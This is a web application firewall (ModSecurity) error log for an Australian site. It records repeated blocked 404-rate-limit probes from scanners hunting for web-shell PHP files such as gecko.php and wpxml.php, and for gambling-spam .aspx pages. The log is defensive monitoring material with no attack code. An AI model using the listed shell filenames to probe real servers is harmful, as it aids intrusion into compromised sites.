[Sat May 23 15:35:58.678760 2026] [:error] [pid 30940:tid 30951] [client 132.196.65.22:7519] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ahFY3pqUP2XZmzp7RDriBwAAAAI"]
[Sat May 23 15:35:59.060909 2026] [:error] [pid 30941:tid 30990] [client 132.196.65.22:7566] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ahFY33TIgjSDhiZmvlWQkgAAAE4"]
[Sat May 23 15:35:59.480280 2026] [:error] [pid 31039:tid 31063] [client 132.196.65.22:7577] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ahFY36IYDYo8WvA5zLILggAAANY"]
[Sat May 23 15:35:59.877296 2026] [:error] [pid 31039:tid 31057] [client 132.196.65.22:7675] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ahFY36IYDYo8WvA5zLILhAAAANA"]
[Sat May 23 15:36:00.270271 2026] [:error] [pid 31039:tid 31059] [client 132.196.65.22:7642] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "ahFY4KIYDYo8WvA5zLILiAAAANI"]
[Sat May 23 15:36:00.671526 2026] [:error] [pid 31039:tid 31045] [client 132.196.65.22:7604] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "ahFY4KIYDYo8WvA5zLILiwAAAMQ"]
[Sat May 23 15:36:01.073711 2026] [:error] [pid 31039:tid 31065] [client 132.196.65.22:7589] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "ahFY4aIYDYo8WvA5zLILjQAAANg"]
[Sat May 23 15:36:01.484576 2026] [:error] [pid 31039:tid 31049] [client 132.196.65.22:7517] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "ahFY4aIYDYo8WvA5zLILkAAAAMg"]
[Sat May 23 15:36:01.914511 2026] [:error] [pid 31039:tid 31057] [client 132.196.65.22:7582] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "ahFY4aIYDYo8WvA5zLILkwAAANA"]
[Sat May 23 15:36:02.289789 2026] [:error] [pid 30940:tid 30967] [client 132.196.65.22:7650] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "ahFY4pqUP2XZmzp7RDriCgAAABI"]
[Sat May 23 15:36:02.669227 2026] [:error] [pid 31039:tid 31059] [client 132.196.65.22:7492] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "ahFY4qIYDYo8WvA5zLILlgAAANI"]
[Sat May 23 15:36:03.070311 2026] [:error] [pid 31039:tid 31042] [client 132.196.65.22:7710] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "ahFY46IYDYo8WvA5zLILmgAAAME"]
[Sat May 23 15:36:03.464494 2026] [:error] [pid 31039:tid 31063] [client 132.196.65.22:7670] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "ahFY46IYDYo8WvA5zLILnQAAANY"]
[Sat May 23 15:36:03.856527 2026] [:error] [pid 30942:tid 31003] [client 132.196.65.22:7494] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "ahFY49Uosz64YFiBlG1DBAAAAIA"]
[Sat May 23 15:36:04.233278 2026] [:error] [pid 25876:tid 25888] [client 132.196.65.22:7465] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "ahFY5ASpWUCKPezIBJBlDwAAAQo"]
[Sat May 23 15:36:04.611758 2026] [:error] [pid 31039:tid 31059] [client 132.196.65.22:7622] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "ahFY5KIYDYo8WvA5zLILoAAAANI"]
[Sat May 23 15:36:04.997800 2026] [:error] [pid 31039:tid 31042] [client 132.196.65.22:7501] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ahFY5KIYDYo8WvA5zLILoQAAAME"]
[Sat May 23 15:36:05.384758 2026] [:error] [pid 31039:tid 31052] [client 132.196.65.22:7493] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ahFY5aIYDYo8WvA5zLILogAAAMs"]
[Sat May 23 15:36:05.783973 2026] [:error] [pid 25876:tid 25899] [client 132.196.65.22:7581] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ahFY5QSpWUCKPezIBJBlEwAAARU"]
[Sat May 23 15:36:06.174826 2026] [:error] [pid 30942:tid 31021] [client 132.196.65.22:7586] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ahFY5tUosz64YFiBlG1DBQAAAJI"]
[Sat May 23 15:36:06.592071 2026] [:error] [pid 25876:tid 25878] [client 132.196.65.22:7733] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxml.php"] [unique_id "ahFY5gSpWUCKPezIBJBlFQAAAQA"]
[Sat May 23 15:36:06.968805 2026] [:error] [pid 30942:tid 31007] [client 132.196.65.22:7488] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxml.php"] [unique_id "ahFY5tUosz64YFiBlG1DBgAAAIQ"]
[Sat May 23 15:36:07.379562 2026] [:error] [pid 30940:tid 30962] [client 132.196.65.22:7515] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxml.php"] [unique_id "ahFY55qUP2XZmzp7RDriDwAAAA0"]
[Sat May 23 15:36:07.770728 2026] [:error] [pid 30940:tid 30951] [client 132.196.65.22:7510] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxml.php"] [unique_id "ahFY55qUP2XZmzp7RDriEAAAAAI"]
[Sat May 23 15:36:08.149751 2026] [:error] [pid 30940:tid 30965] [client 132.196.65.22:7684] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zo.php"] [unique_id "ahFY6JqUP2XZmzp7RDriEgAAABA"]
[Sat May 23 15:36:08.553092 2026] [:error] [pid 30942:tid 31023] [client 132.196.65.22:7943] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zo.php"] [unique_id "ahFY6NUosz64YFiBlG1DBwAAAJQ"]
[Sat May 23 15:36:08.943822 2026] [:error] [pid 30940:tid 30970] [client 132.196.65.22:7596] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zo.php"] [unique_id "ahFY6JqUP2XZmzp7RDriEwAAABU"]
[Sat May 23 15:36:09.331397 2026] [:error] [pid 25876:tid 25884] [client 132.196.65.22:7652] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zo.php"] [unique_id "ahFY6QSpWUCKPezIBJBlGAAAAQY"]
[Sat May 23 15:36:09.733409 2026] [:error] [pid 30941:tid 30987] [client 132.196.65.22:7590] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "ahFY6XTIgjSDhiZmvlWQlgAAAEs"]
[Sat May 23 16:43:51.370732 2026] [:error] [pid 30941:tid 30980] [client 135.181.213.219:42498] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahFox3TIgjSDhiZmvlWhagAAAEQ"]
[Sat May 23 16:43:53.851399 2026] [:error] [pid 30941:tid 30982] [client 135.181.213.219:42504] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ahFoyXTIgjSDhiZmvlWhcgAAAEY"]
[Sat May 23 16:43:56.545302 2026] [:error] [pid 25876:tid 25899] [client 135.181.213.219:42512] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ahFozASpWUCKPezIBJCFngAAARU"]
[Sat May 23 16:44:11.642393 2026] [:error] [pid 31039:tid 31053] [client 135.181.213.219:5826] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ahFo26IYDYo8WvA5zLIizAAAAMw"]
[Sat May 23 16:44:14.279773 2026] [:error] [pid 30940:tid 30963] [client 135.181.213.219:5828] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ahFo3pqUP2XZmzp7RDrvxgAAAA4"]
[Sat May 23 16:44:16.905534 2026] [:error] [pid 25876:tid 25888] [client 135.181.213.219:5842] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahFo4ASpWUCKPezIBJCF1wAAAQo"]
[Sat May 23 16:44:19.539841 2026] [:error] [pid 30941:tid 30988] [client 135.181.213.219:5844] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ahFo43TIgjSDhiZmvlWhfwAAAEw"]
[Sat May 23 16:44:22.172201 2026] [:error] [pid 25876:tid 25896] [client 135.181.213.219:5302] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ahFo5gSpWUCKPezIBJCF4AAAARI"]
[Sat May 23 16:44:24.671367 2026] [:error] [pid 30941:tid 30992] [client 135.181.213.219:5308] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahFo6HTIgjSDhiZmvlWhhQAAAFA"]
[Sat May 23 16:44:27.303774 2026] [:error] [pid 30942:tid 31012] [client 135.181.213.219:5322] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahFo69Uosz64YFiBlG1XcQAAAIk"]
[Sat May 23 16:44:30.075988 2026] [:error] [pid 31039:tid 31063] [client 135.181.213.219:5336] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ahFo7qIYDYo8WvA5zLIi8gAAANY"]
[Sat May 23 16:44:32.714175 2026] [:error] [pid 30942:tid 31007] [client 135.181.213.219:54060] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ahFo8NUosz64YFiBlG1XdQAAAIQ"]
[Sat May 23 16:44:35.353042 2026] [:error] [pid 30940:tid 30953] [client 135.181.213.219:54066] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ahFo85qUP2XZmzp7RDrv2QAAAAQ"]
[Sat May 23 16:44:38.018300 2026] [:error] [pid 30942:tid 31024] [client 135.181.213.219:54072] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ahFo9tUosz64YFiBlG1XlAAAAJU"]
[Sat May 23 16:44:40.578480 2026] [:error] [pid 31039:tid 31054] [client 135.181.213.219:35512] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ahFo-KIYDYo8WvA5zLIjCgAAAM0"]
[Sat May 23 16:44:43.292118 2026] [:error] [pid 30940:tid 30969] [client 135.181.213.219:35526] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ahFo-5qUP2XZmzp7RDrv4gAAABQ"]
[Sat May 23 16:48:59.803253 2026] [:error] [pid 25876:tid 25891] [client 147.135.252.177:36422] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ahFp-wSpWUCKPezIBJCImAAAAQ0"]
[Sat May 23 16:49:02.371105 2026] [:error] [pid 30941:tid 30987] [client 147.135.252.177:44878] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ahFp_nTIgjSDhiZmvlWi4gAAAEs"]
[Sat May 23 16:49:05.025883 2026] [:error] [pid 30940:tid 30959] [client 147.135.252.177:55992] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ahFqAZqUP2XZmzp7RDrw2wAAAAo"]
[Sat May 23 16:49:07.523033 2026] [:error] [pid 30941:tid 30995] [client 147.135.252.177:56004] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ahFqA3TIgjSDhiZmvlWi4wAAAFM"]
[Sat May 23 16:49:10.048373 2026] [:error] [pid 25876:tid 25887] [client 147.135.252.177:56012] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ahFqBgSpWUCKPezIBJCIogAAAQk"]
[Sat May 23 16:49:12.571991 2026] [:error] [pid 25876:tid 25884] [client 147.135.252.177:56026] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ahFqCASpWUCKPezIBJCIpQAAAQY"]
[Sat May 23 16:49:14.989971 2026] [:error] [pid 30941:tid 30994] [client 147.135.252.177:37736] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ahFqCnTIgjSDhiZmvlWi5AAAAFI"]
[Sat May 23 16:49:17.407291 2026] [:error] [pid 31039:tid 31049] [client 147.135.252.177:37742] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ahFqDaIYDYo8WvA5zLIkxQAAAMg"]
[Sat May 23 16:49:19.988960 2026] [:error] [pid 31039:tid 31045] [client 147.135.252.177:37746] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahFqD6IYDYo8WvA5zLIkyAAAAMQ"]
[Sat May 23 16:49:22.411544 2026] [:error] [pid 25876:tid 25896] [client 147.135.252.177:37754] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahFqEgSpWUCKPezIBJCIrgAAARI"]
[Sat May 23 16:49:24.808475 2026] [:error] [pid 25876:tid 25883] [client 147.135.252.177:47448] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ahFqFASpWUCKPezIBJCIsAAAAQU"]
